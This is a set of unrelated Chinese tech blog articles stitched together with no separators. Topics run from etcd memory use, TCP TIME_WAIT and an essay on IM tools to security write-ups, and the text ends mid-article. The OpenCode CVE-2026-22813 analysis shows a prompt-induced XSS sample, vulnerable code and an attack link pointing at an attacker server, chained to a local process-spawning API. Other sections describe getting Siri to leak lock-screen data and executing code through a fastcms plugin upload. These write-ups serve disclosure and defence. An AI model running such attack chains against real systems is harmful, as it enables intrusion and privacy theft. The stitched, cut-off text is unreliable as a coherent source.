经过调查后,我们发现内存使用基本全部来自etcd,我们实在没有想到,因为我们往etcd里放的数据也没有多少个key,感觉不会超过10M,但不知道为什么会占用了10GB的内存。这种时候,一般会怀疑etcd有内存泄漏,上etcd上的github上搜了一下,发现etcd在3.2和3.3的版本上都有内存泄露的问题,但都修改了,而 Easegress 使用的是3.5的最新版本,另外,一般来说内存泄漏的问题不会是这么大的,我们开始怀疑是我们哪里误用了etcd。要知道是否误用了etcd,那么只有一条路了,沉下心来,把etcd的设计好好地看一遍。

大概花了两天左右的时间看了一下etcd的设计,我发现了etcd有下面这些消耗内存的设计,老实说,还是非常昂贵的,这里分享出来,避免后面的同学再次掉坑。

首当其冲是——RaftLog。etcd用Raft Log,主要是用于帮助follower同步数据,这个log的底层实现不是文件,而是内存。所以,而且还至少要保留 5000 条最新的请求。如果key的size很大,这 5000条就会产生大量的内存开销。比如,不断更新一个 1M的key,哪怕是同一个key,这 5000 条Log就是 5000MB = 5GB 的内存开销。这个问题在etcd的issue列表中也有人提到过  issue #12548 ,不过,这个问题不了了之了。这个5000还是一个hardcode,无法改。(参看 DefaultSnapshotCatchUpEntries 相关源码

// DefaultSnapshotCatchUpEntries is the number of entries for a slow follower
// to catch-up after compacting the raft storage entries.
// We expect the follower has a millisecond level latency with the leader.
// The max throughput is around 10K. Keep a 5K entries is enough for helping
// follower to catch up.
DefaultSnapshotCatchUpEntries uint64 = 5000

另外,我们还发现,这个设计在历史上etcd的官方团队把这个默认值从10000降到了5000,我们估计etcd官方团队也意识到10000有点太耗内存了,所以,降了一半,但是又怕follwer同步不上,所以,保留了 5000条……(在这里,我个人感觉还有更好的方法,至少不用全放在内存里吧……)

另外还有下面几项也会导致etcd的内存会增加

  1. 索引。etcd的每一对 key-value 都会在内存中有一个 B-tree 索引。这个索引的开销跟key的长度有关,etcd还会保存版本。所以B-tree的内存跟key的长度以及历史版本号数量也有关系。
  2. mmap。还有,etcd 使用 mmap 这样上古的unix技术做文件映射,会把他的blotdb的内存map到虚拟内存中,所以,db-size越大,内存越大。
  3. Watcher。watch也会占用很大的内存,如果watch很多,连接数多,都会堆积内存。

(很明显,etcd这么做就是为了一个高性能的考虑)

Easegress中的问题更多的应该是Raft Log 的问题。后面三种问题我们觉得不会是用户这个问题的原因,对于索引和mmap,使用 etcd 的 compact 和 defreg (压缩和碎片整理应该可以降低内存,但用户那边不应该是这个问题的核心原因)。

针对用户的问题,大约有1000多条pipeline,因为Easegress会对每一条pipeline进行数据统计(如:M1, M5, M15, P99, P90, P50等这样的统计数据),统计信息可能会有1KB-2KB左右,但Easegress会把这1000条pipeline的统计数据合并起来写到一个key中,这1000多条的统计数据合并后会导致出现一个平均尺寸为2MB的key,而5000个in-memory的RaftLog导致etcd要消耗了10GB的内存。之前没有这么多的pipeline的场景,所以,这个内存问题没有暴露出来。

于是,我们最终的解决方案也很简单,我们修改我们的策略,不再写这么大的Value的数据了,虽然以前只写在一个key上,但是Key的值太大,现在把这个大Key值拆分成多个小的key来写,这样,实际保存的数据没有发生变化,但是RaftLog的每条数据量就小了,所以,以前是5000条 2M(10GB),现在是5000条 1K(500MB),就这样解决了这个问题。相关的PR在这里 PR#542

总结

要用好 etcd,有如下的实践

  • 避免大尺寸的key和value,一方面会通过一个内存级的 Raft Log 占大量内存,另一方面,B-tree的多版本索引也会因为这样耗内存。
  • 避免DB的尺寸太大,并通过 compact和defreg来压缩和碎片整理降低内存。
  • 避免大量的Watch Client 和 Watch数。这个开销也是比较大的。
  • 最后还有一个,就是尽可能使用新的版本,无论是go语言还是etcd,这样会少很多内存问题。比如:golang的这个跟LInux内核心相关的内存问题 —— golang 1.12的版sget的是 MADV_FREE 的内存回收机制,而在1.16的时候,改成了 MADV_DONTNEED ,这两者的差别是,FREE表示,虽然进程标记内存不要了,但是操作系统会保留之,直到需要更多的内存,而 DONTNEED 则是立马回收,你可以看到,在常驻内存RSS 上,前者虽然在golang的进程上回收了内存,但是RSS值不变,而后者会看到RSS直立马变化。Linux下对 MADV_FREE 的实现在某些情况下有一定的问题,所以,在go 1.16的时候,默认值改成了 MADV_DONTNEED 。而 etcd 3.4 是用 来1.12 编译的。

最后,欢迎大家关注我们的开源软件! https://github.com/megaease/ 

今天来讲一讲TCP 的 TIME_WAIT 的问题。这个问题尽人皆知,不过,这次遇到的是不太一样的场景,前两天也解决了,正好写篇文章,顺便把 TIME_WAIT 的那些事都说一说。对了,这个场景,跟我开源的探活小工具 EaseProbe 有关,我先说说这个场景里的问题,然后,顺着这个场景跟大家好好说一下这个事。

目录

问题背景

先说一下背景,EaseProbe 是一个轻量独立的用来探活服务健康状况的小工具,支持http/tcp/shell/ssh/tls/host以及各种中间件的探活,然后,直接发送通知到主流的IM上,如:Slack/Telegram/Discrod/Email/Team,包括国内的企业微信/钉钉/飞书, 非常好用,用过的人都说好 😏。

这个探活工具在每次探活的时候,必须要从头开始建立整个网络链接,也就是说,需要从头开始进行DNS查询,建立TCP链接,然后进行通信,再关闭链接。这里,我们不会设置 TCP 的 KeepAlive 重用链接,因为探活工具除了要探活所远端的服务,还要探活整个网络的情况,所以,每次探活都需要从新来过,这样才能捕捉得到整个链路的情况。

但是,这样不断的新建链接和关闭链接,根据TCP的状态机,我们知道这会导致在探测端这边出现的 TIME_WAIT 的 TCP 链接,根据 TCP 协议的定义,这个 TIME_WAIT 需要等待 2倍的MSL 时间,TCP 链接都会被系统回收,在回收之前,这个链接会占用系统的资源,主要是两个资源,一个是文件描述符,这个还好,可以调整,另一个则是端口号,这个是没法调整的,因为作为发起请求的client来说,在对同一个IP上理论上你只有64K的端口号号可用(实际上系统默认只有近30K,从32,768 到 60,999 一共 60999+1-32768=28,232,你可以通过 sysctl net.ipv4.ip_local_port_range 查看  ),如果 TIME_WAIT 过多,会导致TCP无法建立链接,还会因为资源消耗太多导致整个程序甚至整个系统异常。

试想,如果我们以 10秒为周期探测10K的结点,如果TIME_WAIT的超时时间是120秒,那么在第60秒后,等着超时的 TIME_WAIT 我们就有可能把某个IP的端口基本用完了,就算还行,系统也有些问题。(注意:我们不仅仅只是TCP,还有HTTP协议,所以,大家不要觉得TCP的四元组只要目标地址不一样就好了,一方面,我们探的是域名,需要访问DNS服务,所以,DNS服务一般是一台服务器,还有,因为HTTPS一般是探API,而且会有网关代理API,所以链接会到同一个网关上。另外就算还可以建出站连接,但是本地程序会因为端口耗尽无法bind了。所以,现实情况并不会像理论情况那样只要四元组不冲突,端口就不会耗尽)

为什么要 TIME_WAIT

那么,为什么TCP在 TIME_WAIT 上要等待一个2MSL的时间?

以前写过篇比较宏观的《TCP的那些事》(上篇下篇),这个访问在“上篇”里讲过,这里再说一次,TCP 断链接的时候,会有下面这个来来回回的过程。

我们来看主动断链接的最后一个状态 TIME_WAIT 后就不需要等待对端回 ack了,而是进入了超时状态。这主要是因为,在网络上,如果要知道我们发出的数据被对方收到了,那我们就需要对方发来一个确认的Ack信息,那问题来了,对方怎么知道自己发出去的ack,被收到了?难道还要再ack一下,这样ack来ack回的,那什么谁也不要玩了……是的,这就是比较著名的【两将军问题】——两个将军需要在一个不稳定的信道上达成对敌攻击时间的协商,A向B派出信鸽,我们明早8点进攻,A怎么知道B收到了信?那需要B向A派出信鸽,ack说我收到了,明早8点开干。但是,B怎么知道A会收到自己的确认信?是不是还要A再确认一下?这样无穷无尽的确认导致这个问题是没有完美解的(我们在《分布式事务》一文中说过这个问题,这里不再重述)

所以,我们只能等一个我们认为最大小时来解决两件个问题:

1) 为了 防止来自一个连接的延迟段被依赖于相同四元组(源地址、源端口、目标地址、目标端口)的稍后连接接受(被接受后,就会被马上断掉,TCP状态机紊乱)。虽然,可以通过指定 TCP 的 sequence number 一定范围内才能被接受。但这也只是让问题发生的概率低了一些,对于一个吞吐量大的的应用来说,依然能够出现问题,尤其是在具有大接收窗口的快速连接上。RFC 1337详细解释了当 TIME-WAIT状态不足时会发生什么。TIME-WAIT以下是如果不缩短状态可以避免的示例:

由于缩短的 TIME-WAIT 状态,后续的 TCP 段已在不相关的连接中被接受(来源

 

2)另一个目的是确保远端已经关闭了连接。当最后一个ACK​​ 丢失时,对端保持该LAST-ACK状态。在没有TIME-WAIT状态的情况下,可以重新打开连接,而远程端仍然认为先前的连接有效。当它收到一个SYN段(并且序列号匹配)时,它将以RST应答,因为它不期望这样的段。新连接将因错误而中止:

 

如果远端因为最后一个 ACK​​ 丢失而停留在 LAST-ACK 状态,则打开具有相同四元组的新连接将不起作用 (来源

TIME_WAIT 的这个超时时间的值如下所示:

  • 在 macOS 上是15秒, sysctl net.inet.tcp | grep net.inet.tcp.msl
  • 在 Linux 上是 60秒 cat /proc/sys/net/ipv4/tcp_fin_timeout

解决方案

要解决这个问题,网上一般会有下面这些解法

  • 把这个超时间调小一些,这样就可以把TCP 的端口号回收的快一些。但是也不能太小,如果流量很大的话,TIME_WAIT一样会被耗尽。
  • 设置上 tcp_tw_reuse 。RFC 1323提出了一组 TCP 扩展来提高高带宽路径的性能。除其他外,它定义了一个新的 TCP 选项,带有两个四字节时间戳字段。第一个是发送选项的 TCP 时间戳的当前值,而第二个是从远程主机接收到的最新时间戳。如果新时间戳严格大于为前一个连接记录的最新时间戳。Linux 将重用该状态下的现有 TIME_WAIT 连接用于出站的链接。也就是说,这个参数对于入站连接是没有任何用图的。
  • 设置上 tcp_tw_recycle 。 这个参数同样依赖于时间戳选项,但会影响进站和出站链接。这个参数会影响NAT环境,也就是一个公司里的所有员工用一个IP地址访问外网的情况。在这种情况下,时间戳条件将禁止在这个公网IP后面的所有设备在一分钟内连接,因为它们不共享相同的时间戳时钟。毫无疑问,禁用此选项要好得多,因为它会导致 难以检测诊断问题。(注:从 Linux 4.10 (commit 95a22caee396 ) 开始,Linux 将为每个连接随机化时间戳偏移量,从而使该选项完全失效,无论有无NAT。它已从 Linux 4.12中完全删除)

对于服务器来说,上述的三个访问都不能解决服务器的 TIME_WAIT 过多的问题,真正解决问题的就是——不作死就不会死,也就是说,服务器不要主动断链接,而设置上KeepAlive后,让客户端主动断链接,这样服务端只会有CLOSE_WAIT

但是对于用于建立出站连接的探活的 EaseProbe来说,设置上 tcp_tw_reuse 就可以重用 TIME_WAIT 了,但是这依然无法解决 TIME_WAIT 过多的问题。

然后,过了几天后,我忽然想起来以前在《UNIX 网络编程》上有看到过一个Socket的参数,叫 <code>SO_LINGER,我的编程生涯中从来没有使用过这个设置,这个参数主要是为了延尽关闭来用的,也就是说你应用调用 close()函数时,如果还有数据没有发送完成,则需要等一个延时时间来让数据发完,但是,如果你把延时设置为 0  时,Socket就丢弃数据,并向对方发送一个 RST 来终止连接,因为走的是 RST 包,所以就不会有 TIME_WAIT 了。

这个东西在服务器端永远不要设置,不然,你的客户端就总是看到 TCP 链接错误 “connnection reset by peer”,但是这个参数对于 EaseProbe 的客户来说,简直是太完美了,当EaseProbe 探测完后,直接 reset connection, 即不会有功能上的问题,也不会影响服务器,更不会有烦人的 TIME_WAIT 问题。

Go 实际操作

在 Golang的标准库代码里,net.TCPConn 有个方法 SetLinger()可以完成这个事,使用起来也比较简单:

conn, _ := net.DialTimeout("tcp", t.Host, t.Timeout())

if tcpCon, ok := conn.(*net.TCPConn); ok {
    tcpCon.SetLinger(0)
}

你需要把一个 net.Conn  转型成 net.TCPConn,然后就可以调用方法了。

但是对于Golang 的标准库中的 HTTP 对象来说,就有点麻烦了,Golang的 http 库把底层的这边连接对象全都包装成私有变量了,你在外面根本获取不到。这篇《How to Set Go net/http Socket Options – setsockopt() example 》中给出了下面的方法:

dialer := &net.Dialer{
    Control: func(network, address string, conn syscall.RawConn) error {
        var operr error
        if err := conn.Control(func(fd uintptr) {
            operr = syscall.SetsockoptInt(int(fd), unix.SOL_SOCKET, unix.TCP_QUICKACK, 1)
        }); err != nil {
            return err
        }
        return operr
    },
}

client := &http.Client{
    Transport: &http.Transport{
        DialContext: dialer.DialContext,
    },
}

上面这个方法非常的低层,需要直接使用setsocketopt这样的系统调用,我其实,还是想使用 TCPConn.SetLinger(0) 来完成这个事,即然都被封装好了,最好还是别破坏封闭性碰底层的东西。

经过Golang http包的源码阅读和摸索,我使用了下面的方法:

client := &http.Client{
    Timeout: h.Timeout(),
    Transport: &http.Transport{
      TLSClientConfig:   tls,
      DisableKeepAlives: true,
      DialContext: func(ctx context.Context, network, addr string) (net.Conn, error) {
        d := net.Dialer{Timeout: h.Timeout()}
        conn, err := d.DialContext(ctx, network, addr)
        if err != nil {
          return nil, err
        }
        tcpConn, ok := conn.(*net.TCPConn)
        if ok {
          tcpConn.SetLinger(0)
          return tcpConn, nil
        }
        return conn, nil
      },
    },
  }

然后,我找来了全球 T0p 100W的域名,然后在AWS上开了一台服务器,用脚本生成了 TOP 10K 和 20K 的网站来以5s, 10s, 30s, 60s的间隔进行探活,搞到Cloudflare 的 1.1.1.1 DNS 时不时就把我拉黑,最后的测试结果也非常不错,根本 没有 TIME_WAIT 的链接,相关的测试方法、测试数据和测试报告可以参看:Benchmark Report

总结

下面是几点总结

  • TIME_WAIT 是一个TCP 协议完整性的手段,虽然会有一定的副作用,但是这个设计是非常关键的,最好不要妥协掉。
  • 永远不要使用  tcp_tw_recycle ,这个参数是个巨龙,破坏力极大。
  • 服务器端永远不要使用  SO_LINGER(0),而且使用 tcp_tw_reuse 对服务端意义不大,因为它只对出站流量有用。
  • 在服务端上最好不要主动断链接,设置好KeepAlive,重用链接,让客户端主动断链接。
  • 在客户端上可以使用 tcp_tw_reuse  和 SO_LINGER(0)

最后强烈推荐阅读这篇文章 – Coping with the TCP TIME-WAIT state on busy Linux servers

这两天跟 CaliRather 做了一个线上的 Podcast – Ep.5 一起聊聊团队协同。主要是从 IM 工具扩展开来聊了一下团队的协同和相应的工具,但是聊天不是深度思考,有一些东西我没有讲透讲好,所以,我需要把我更多更完整更结构化的想法形成文字。(注:聊天聊地比较详细,本文只是想表达我的主要想法)

目录

国内外的企业 IM 的本质差别

国内企业级在线交流工具主要有:企业微信、钉钉、飞书,国外的则是:Slack、Discord这两大IM工具,你会发现,他们有很多不一样的东西,其中有两个最大的不同,一个是企业管理,一个是企业文化。

企业管理

Slack/Discrod 主要是通过建 Channel ,而国内的IM则主要是拉群。你可能会说,这不是一样的吗?其实是不一样的,很明显,Channel 的属性是相对持久的,而群的属性则是临时的,前者是可以是部门,可以是团队,可以是项目,可以是产品,可以是某种长期存在的职能(如:技术分享),而拉群则是相对来说临时起意的,有时候,同样的人群能被重复地拉出好几次,因为之前临时起意的事做完了,所以群就被人所遗忘了,后面再有事就再来。很明显,Channel 这种方式明显是有管理的属性的,而拉群则是没有管理的

所以,在国内这种作坊式,野蛮粗放式的管理风格下,他们需要的就是想起一出是一出的 IM 工具,所以,拉群就是他们的工作习惯,因为没有科学的管理,所以没有章法,所以,他们不需要把工作内的信息结构化的工具。而国外则不然,国外的管理是精细化的,国外的公司还在重度使用 Email 的通讯方式,而 Email 是天生会给一个主题时行归类,而且 Email 天生不是碎片信息,所以,国外的 IM 需要跟 Email 竞争,因为像 Email 那样给邮件分类,把信息聚合在一个主题下的方式就能在 IM 上找到相关的影子。Channel 就是一个信息分类,相当于邮件分类,Slack 的 回复区和 Discord 的子区就像是把同一个主题信息时行聚合的功能。这明显是懂管理的人做的,而国内的拉群一看就是不懂管理的人干的,或者说是就是满足这些不懂管理的人的需求的。

企业文化

团队协作和团队工作最大的基石是信任,如果有了信任,没有工具都会很爽,如果没有信任,什么工具都没用。信任是一种企业文化,这种文化不仅包括同级间的,还包括上下级间的。但是,因为国内的管理跟不上,所以,就导致了各种不信任的文化,而需要在这里不信任的文化中进行协同工作,国内的 IM 软件就会开发出如下在国外的 IM 中完全没有的功能:

  • 监控员工。获取员工的工作时间以及工作位置。
  • 有详细的已读标注。这样会给对方要回复的压力。
  •  发出的信息不能修改,不能删除,非常有限地可撤回

而国外的 IM 则是,发出的信息可以修改/删除,没有已读标准,也不会监控员工。这种时候,我总是会对工作在这种不信任文化中人感到可怜……如果大家需要靠逼迫的方式把对方拉来跟我一起协作,我们还工作个什么劲啊。

小结

所以,我们可以看到,畸形的企业管理和企业文化下,就会导致畸形的协同工具。最令人感到悲哀的是,有好多同学还觉得国内的钉钉非常之好,殊不知,你之所以感觉好用,是因为你所在的环境是如此的不堪。你看,人到了不同的环境就会有不同的认识,所以,找一个好一些的环境对一个人的成长有多重要

给一些新入行的人的建议就是,一个环境对一个人的认知会有非常大的影响,找一个好的环境是非常重要,如果不知道什么 环境是好的,那就先从不使用钉钉为工作协同软件的公司开始吧……

什么是好的协同工具

我们从上面可以得到,协同的前提条件是你需要有一个基于信任的企业文化,还需要有有结构化思维的科学的管理思维。没有这两个东西,给你的团队再多的工具都不可能有真正好有协同的,大家就是装模作样罢了。

假设我们的管理和文化都没有问题,那下面我们来谈谈协同工具的事。

我个人觉得 IM 这种工具包括会议都不是一种好的协同工具,因为这些工具都无法把信息做到真正的结构化和准确化,用 IM 或是开会上的信息大多都是碎片化严重,而且没有经过深度思考或是准备的,基本都是即兴出来的东西,不靠谱的概率非常大。

找人交流和开会不是有个话题就好的,还需要一个可以讨论的“议案”。在 Amazon 里开会,会前,组织方会把要讨论的方案打印出来给大家看,这个方案是深思过的,是验证过的,是有数据和证据或是引用支撑的,会议开始后,10 -15分钟是没有人说话的,大家都在看文档,然后就开始直接讨论或发表意见,支持还是不支持,还是有条件支持……会议效率就会很高。

但是这个议案其实是可以由大家一起来完成的,所以,连打印或是开会都不需要。试想一下,使用像 Google Doc 这样的协同文档工具,把大家拉到同一个文档里直接创作,不香吗?我在前段时间,在公网上组织大家来帮我完成一个《非常时期的囤货手册》,这篇文章的形成有数百个网友的加持,而我就是在做一个主编的工作,这种工作是 IM 工具无法完成的事。与之类似的协同工具还有大家一起写代码的 Github,大家一起做设计的 Figma……这样创作类的协同工具非常多。另外,好多这些工具都能实时展示别人的创作过程,这个简直是太爽了,你可以通过观看他人创作过程,学习到很多他人的思路和想法,这个在没有协同工具的时代是很难想像的。

好的协同工具是可以互相促进互相激励的,就像一个足球队一样,当你看到你的队友在勇敢地争抢,拼命地奔跑,你也会被感染到的。

所以,好的协同就是能够跟一帮志同道合,有共同目标,有想法,有能力的人一起做个什么事所以,在我心中我最喜欢的协同工具从来都是创作类的,不是管理类的,更不是聊天类的。管理和聊天的协同软件会让你产生一种有产出的假象,但其实不同,这种工具无论做的有多好,都是支持性的工具,不是产出类的工具,不会提升生产力的。

另外,在创作类的协同工具上如果有一些智能小帮手,如:Github 发布的 Copilot。那简直是让人爽翻天了,所以,真正能提升生产力的工具都是在内容上帮得到你的。

结束语

我其实并不喜欢今天所有的 IM 工具,因为我觉得信息不是结构化的,信息是有因果关系和上下文的,是结构化的,是多维度的,不是今天这种线性的方式,我们想像一下“脑图”或是知识图,或是 wikipedia 的网关的关联,我们可能就能想像得到一个更好的 IM 应该是什么 样的……

协同工作的想像空间实在是太大了,我觉得所有的桌面端的软件都会被协作版的重写,虽然,这种协作软件需要有网络的加持,但是协作软件的魅力和诱惑力实在的太大了,让人无法不从……

未来的企业,那些管理类的工具一定会被边缘化的,聊天类的会被打成一个通知中心,而创作类的会大放异彩,让大家直接在要干的事上进行沟通、交互和分享。

漏洞概述 CVE-2026-22813 是OpenCode开发环境中的一个高危安全漏洞,该漏洞通过巧妙的攻击链组合,允许远程攻击者在用户本地计算机上执行任意代码(RCE)。该漏洞的影响评分为9.4,影响OpenCode 1.1.10之前的所有版本。 漏洞背景 OpenCode是一个流行的本地开发工具,默认在localhost:4096端口运行HTTP服务,提供网页UI和API接口。该工具集成了AI聊天功能,允许开发者通过自然语言交互进行编程。 三重攻击链解析 第一环:XSS漏洞(初始立足点) 漏洞位置:OpenCode网页UI的Markdown渲染器 根本原因 1 HTML净化失效:用于渲染LLM响应的DOMPurify库未正确启用净化功能 2 缺乏CSP防护:网页界面没有实施内容安全策略 3 信任边界混淆:将不可信的LLM输出直接插入DOM而不进行转义 攻击影响:攻击者通过精心设计的提示词,可以让LLM生成包含恶意JavaScript代码的响应,这些代码会在用户浏览器中执行。 技术细节

Plain Text

复制代码
// 示例:恶意LLM响应绕过净化
const maliciousResponse = {
content: 'Here is your code:<script>evil()</script>'
};
// DOMPurify未启用,脚本直接执行

第二环:服务器URL覆盖滥用(攻击放大器) 功能机制:OpenCode网页UI支持通过URL参数动态指定后端服务器地址:

Plain Text

复制代码
// packages/app/src/app.tsx中的关键代码
const defaultServerUrl = (() => {
const param = new URLSearchParams(document.location.search).get("url");
if (param) return param; // 致命缺陷:无验证、无限制
return window.location.origin;
})();

攻击利用
攻击者构造恶意链接,诱骗用户点击:

Plain Text

复制代码
http://localhost:4096/Lw/session/ses_攻击者会话ID?url=https://恶意服务器.example

点击后的攻击流程 1 用户浏览器访问本地OpenCode页面(localhost:4096 2 网页UI读取?url=参数,连接至攻击者控制的服务器 3从攻击者服务器加载预先准备好的恶意会话内容 4恶意内容触发第一环的XSS漏洞 关键突破:此环节将需要复杂前置条件的XSS攻击转化为一键触发的远程攻击,攻击成功率从"可能"提升至"必然"。 第三环:本地API滥用(最终杀伤) 高危API端点http://localhost:4096/pty/ API功能:该端点允许在本地系统上生成任意进程,为开发功能提供终端访问。 同源策略绕过
由于恶意JavaScript代码在localhost:4096源下执行,它可以无限制地访问同源的所有API:

最终实现:攻击者可以: 1下载并执行远程恶意脚本 2安装后门程序 3窃取敏感文件 4横向移动至内网其他系统 漏洞复现

image.png

提供恶意聊天会话的一个简单方法是在真实的OpenCode实例前设置mitmproxy。这是必要的,因为OpenCode的网页界面必须加载大量资源,才能加载并显示聊天会话。 1.安装有漏洞的版本

2.创建恶意会话文件 evil_session.json

这个载荷会尝试在受害者机器上创建文件 /tmp/pwned_success 作为攻击成功的证明。 启动简易HTTP服务器

3.进行攻击 1用插件在反向代理模式下启动 mitmproxy

2 启动服务

3 构造恶意URL 在同一台运行OpenCode的机器上,访问以下URL:

原理?url= 参数滥用让本地UI加载远程恶意会话。 4 确认文件是在目录中创建/tmp/

漏洞修复

image.png

移除内嵌JavaScript

image.png

添加了 DOMPurify 依赖

image.png

在图像预览组件中添加了安全处理 防止了XSS攻击 移除移除动态JavaScript执行和自定义URL参数

image.png

改了306行代码,近乎重写了该文件 移除自定义URL参数

image.png

通过props控制,不再从window对象读取 结论 CVE-2026-22813是一个典型的"功能滥用→权限提升→系统控制"三重攻击链案例。它暴露出: 1 深度防御的缺失:缺乏输入验证、输出编码、权限控制的多层防护 2 信任模型的缺陷:过度信任客户端输入和本地网络环境 3 安全开发生命周期的不足:危险功能上线前缺乏威胁建模

引子 2025 年底,字节推出系统级的手机助手,让人眼前一亮的同时,也引起了大家的疑问:这个高权限的 AI 手机助手会不会进行越权操作?能不能保障用户的隐私安全?

image.png

豆包手机毕竟还没有到量产阶段,我们还很难评估豆包手机助手的安全性。但是大家不要忘了,我们每个人的手机上其实早就有了一个系统级的 AI 助手,它可能没有豆包那么智能,但也能替我们进行很多操作了。 如果把智能手机比作一个智能体的话,AI 手机助手能替我们执行的操作,便是这个智能体的工具。 所以,本文想跟大家讨论的是,我们现有手机自带的 AI 助手,是不是其实已经存在越权风险了呢? 总览 本文主要带大家分析一下 DEFCON 33 的议题 Siri-ously Leaky: Exploring Overlooked Attack Surfaces Across Apple's Ecosystem,探讨苹果手机助手最近出现的一些越权漏洞,并看一看如何利用这些漏洞来泄露用户的个人隐私数据。议题资料 AI 手机助手越权-隐私泄露 建议大家结合作者提供的 PPT一起来看,里面提供了漏洞的视频演示,比较清晰直观,我这里只是从中截图进行总结。 案例一:越权读取用户的私密相册 漏洞原理:如果刚刚解锁查看过隐私相册,里面的照片数据会被缓存,此时退出隐私相册,再次进入,尽管需要再次验证身份,但是可以通过手机助手将缓存数据读出来。

image.png

案例二:锁屏窃取用户 ChatGPT 记忆 苹果手机支持锁屏和 ChatGPT 聊天,而 ChatGPT 拥有个性化记忆、以及聊天记录

image.png

那么这里没做好权限控制,在手机锁屏时,存在越权读取记忆的隐私泄露风险。

image.png

案例三:锁屏窃取用户当前浏览的 ChatGPT 聊天记录链接 如果在打开了某条 ChatGPT 聊天记录的情况下,锁定屏幕,可以通过唤醒手机助手,让 Siri 把当前页面加入提醒事项,就可以得到当前聊天记录的分享链接,造成隐私聊天数据泄露。

image.png

案例四:锁屏窃取用户当前浏览的网页信息 同案例三,都是没有做好锁屏状态下对锁屏下方内容的权限控制,泄露用户当前正在浏览的网址。

image.png

总结 漏洞本身比较简单,但这是一个普遍存在、并且将在未来持续存在的攻击面。 AI 越来越智能的未来,AI 各种便捷新功能疯狂上新的同时,一定也要做好权限控制,保障 AI 的安全性。 免责声明 本文所有内容仅供安全研究、教育和防御性安全测试使用。使用者需: 1遵守当地法律法规 2仅在授权环境中进行测试 3不得用于非法入侵或恶意攻击 4对使用后果自行承担责任 参考资料 Siri-ously Leaky: Exploring Overlooked Attack Surfaces Across Apple's Ecosystem: https://github.com/richeeta/DEFCON33-Siriously-Leaky?tab=readme-ov-file

环境搭建 windows 10 jdk 17 mysql 5.7.26 fastcms 0.1.6 下载地址:https://github.com/my-fastcms/fastcms 登录:http://127.0.0.1:8080/fastcms-master.html 账号/密码:admin/1 1 数据库配置 数据库配置文件:fastcms-master/web/src/main/resources/application.yml

SQL配置.png

数据库文件:fastcms-master/doc/sql/fastcms-master.sql

mysql -uroot -p
source D:\java\fastcms-master\doc\sql\fastcms.sql

2 开发环境 搭建环境会遇到Java 9+ 模块系统(JPMS)兼容性问题,在运行配置中添加虚拟机选项(VM options),输入下列参数即可

--add-opens java.base/java.lang.reflect=ALL-UNNAMED --add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.util=ALL-UNNAMED

1-开发环境添加虚拟机.png

3 生产环境 存在漏洞的功能在开发环境无法使用,但在生产环境又无法 debug,此节侧重于在 idea debug 打包,找到 fastcms-master/build.bat 文件(windows 环境用 bat,linux 环境用 sh),双击进行打包,打包完成会出现.dist目录

2-打包文件.png

.dist目录中,启动 startup.cmd 文件即可运行程序,但这样无法 debug,记住fastcms-master-server.jar的绝对路径,这是用 idea debug 的关键

3-jar包.png

在 idea 的运行配置中添加 jar 应用程序

4-运行配置.png

需要设置下列四个参数,jar 路径是fastcms-master-server.jar的绝对路径,工作目录则是fastcms-master-server.jar的所在目录,虚拟机选项和程序实参,则贴在图片下面。名称无所谓

4-jar应用程序配置.png

虚拟机选项

程序实参

启动成功会显示 8080 端口,以及启动时间

5-启动成功.png

代码审计 入口文件:fastcms-master/web/src/main/java/com/fastcms/web/controller/admin/PluginController.java 第一个 if 检查是否为开发环境,如果是开发环境则报错,因此必须是生产环境,生产环境 debug 前面有配置步骤,这里不在叙述,后面两个 if 判断是否有后缀,是否是 jar、zip 文件,最后进入安装环境

审计过程1.png

installPlugin 方法先安装再激活

审计过程2-installPlugin.png

loadPlugin 方法中,loadPluginFromPath 加载插件,resolvePlugins 解决依赖

审计过程3-loadPlugin.png

loadPluginFromPath 是 pf4j 的原生方法,简单看一下,pluginId 不存在代表新插件,新插件载入需要获取插件元数据(pluginDescriptor),获取插件所有类(pluginClassLoader),创建插件实例(pluginWrapper)最后通过 addPlugin 方法载入

审计过程4-加载过程.png

这里就已经实例化并载入了插件,后面需要激活插件,跟进 startPlugin 方法,根据 pluginId 获取插件,再根据插件获取实例化对象,执行 start 方法激活,中间只是判断插件的状态,是激活还是禁止

审计过程5-启动.png

start 方法如下,这是官方 HelloPlugin 插件,是否可以在这里加点代码?

审计过程6-执行start方法.png

漏洞复现 这里为了方便演示,修改官方插件,插件编写方法附在最后 找到fastcms-master/plugins/hello-world-plugin/src/main/java/com/fastcms/hello/HelloPlugin.java文件,添加下列代码

构造1.png

fastcms-master/plugins/hello-world-plugin/目录下打包成 jar 文件

fastcms-master/plugins/hello-world-plugin/target/hello-world-plugin-0.1.6-SNAPSHOT.jar

jar文件路径.png

http://127.0.0.1:8080/fastcms-master.html 登录,账号密码:admin/1

安装插件.png

此时插件管理显示暂无数据,选择打包好的 jar 文件

选择上传.png

上传成功显示插件信息,弹出计算器

上传成功.png

上面是第一次验证的步骤,如果想要重复验证,这时有三种方法 停止项目,找到astcms-master.distplugins,删除 jar,重新启动,再次上传 点击卸载,修改 jar 包名,点击上传 修改 pom.xml 中的artifactIdplugin.id标签,重新打包 jar 演示第二种:点击卸载,会弹出 405 不必理会,刷新一下会移除插件信息,但 jar 包会被保留(在自己编写插件中,若全限定类名不一致,会存在插件信息未移除的情况)

卸载.png

这时上传文件名完全一致的 jar 包会报错,修改 jar 包名后可以上传

重复上传.png

必须的插件结构(推荐在fastcms-master/plugins目录下,完成插件写好后在fastcms-master/plugins/xxx-plugin目录下用mvn clean package打包) xxx-plugin/src/main/java/com/fastcms/xxx/XxxPlugin.java xxx-plugin/plugin.properties xxx-plugin/pom.xml XxxPlugin.java

plugin.properties

pom.xml

引言
流式输出(Streaming Output)已成为现代AI交互的标准功能。用户不再需要等待完整响应生成,而是可以实时看到AI的思考过程,这种体验极大地提升了用户粘性和交互自然度。然而,在安全研究的视角下,这种看似优雅的技术背后隐藏着被严重低估的安全风险。

image.png

image.png

